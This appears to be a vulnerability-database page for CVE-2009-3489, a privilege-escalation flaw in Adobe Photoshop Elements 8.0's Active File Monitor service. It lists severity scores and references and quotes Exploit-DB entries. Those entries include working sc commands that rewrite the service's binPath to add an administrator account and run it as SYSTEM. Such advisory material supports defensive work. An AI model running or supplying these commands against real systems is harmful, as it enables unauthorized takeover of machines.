CVE-2009-3489
published 2009-09-30CVE-2009-3489: Adobe Photoshop Elements 8.0 installs the Adobe Active File Monitor V8 service with an insecure security descriptor, which allows local users to (1) stop the…
PriorityP340high7.8CVSS 3.1
AVLACLPRLUINSUCHIHAH
EXPLOIT
EPSS
1.95%
77.8th percentile
Adobe Photoshop Elements 8.0 installs the Adobe Active File Monitor V8 service with an insecure security descriptor, which allows local users to (1) stop the service via the stop command, (2) execute arbitrary commands as SYSTEM by using the config command to modify the binPath variable, or (3) restart the service via the start command.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| adobe | photoshop_elements | — | — |
CVSS provenance
nvdv3.17.8HIGHCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.9MEDIUMAV:L/AC:M/Au:N/C:C/I:C/A:C
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Adobe Photoshop Elements - Active File Monitor Service Privilege Escalation
exploitdb·2009-10-29
CVE-2009-3489 Adobe Photoshop Elements - Active File Monitor Service Privilege Escalation
Adobe Photoshop Elements - Active File Monitor Service Privilege Escalation
---
To exploit this issue, attackers require local, interactive access to an affected computer.
The following example commands are available:
sc stop "AdobeActiveFileMonitor8.0"
sc config "AdobeActiveFileMonitor8.0" binPath= "cmd /c net user adobe kills /add && net localgroup Administrators adobe /add"
sc start "AdobeActiveFileMonitor8.0"
runas /noprofile /user:%COMPUTERNAME%\adobe cmd
Exploit-DB
Adobe Photoshop Elements 8.0 - Active File Monitor Privilege Escalation
exploitdb·2009-09-29
CVE-2009-3489 Adobe Photoshop Elements 8.0 - Active File Monitor Privilege Escalation
Adobe Photoshop Elements 8.0 - Active File Monitor Privilege Escalation
---
Adobe Photoshop Elements 8.0 Active File Monitor Service Bad Security Descriptor Local Elevation Of Privileges
by Nine:Situations:Group::bellick
site: http://retrogod.altervista.org/
Tested on Microsoft Windows XP SP3
The "Adobe Active File Monitor V8" service is installed with an improper security descriptor.
A malicious user of the Users group (which on xp means a "limited account") can stop the service,
then invoke the "sc config" command to replace the binary path with a value of choice, then restart
the service to run the command with SYSTEM privileges ex., run theese commands as a limited user:
sc stop "AdobeActiveFileMonitor8.0"
sc config "AdobeActiveFileMonitor8.0" binPath= "cmd /c net user adobe kills
No writeups or analysis indexed.
http://blogs.adobe.com/psirt/2009/09/potential_photoshop_elements_8.htmlhttp://retrogod.altervista.org/9sg_adobe_pe_local.htmlhttp://secunia.com/advisories/36895http://www.securityfocus.com/archive/1/506806/100/0/threadedhttp://www.securityfocus.com/bid/36542http://www.securitytracker.com/id?1022963http://www.vupen.com/english/advisories/2009/2798http://blogs.adobe.com/psirt/2009/09/potential_photoshop_elements_8.htmlhttp://retrogod.altervista.org/9sg_adobe_pe_local.htmlhttp://secunia.com/advisories/36895http://www.securityfocus.com/archive/1/506806/100/0/threadedhttp://www.securityfocus.com/bid/36542http://www.securitytracker.com/id?1022963http://www.vupen.com/english/advisories/2009/2798
2009-09-30
Published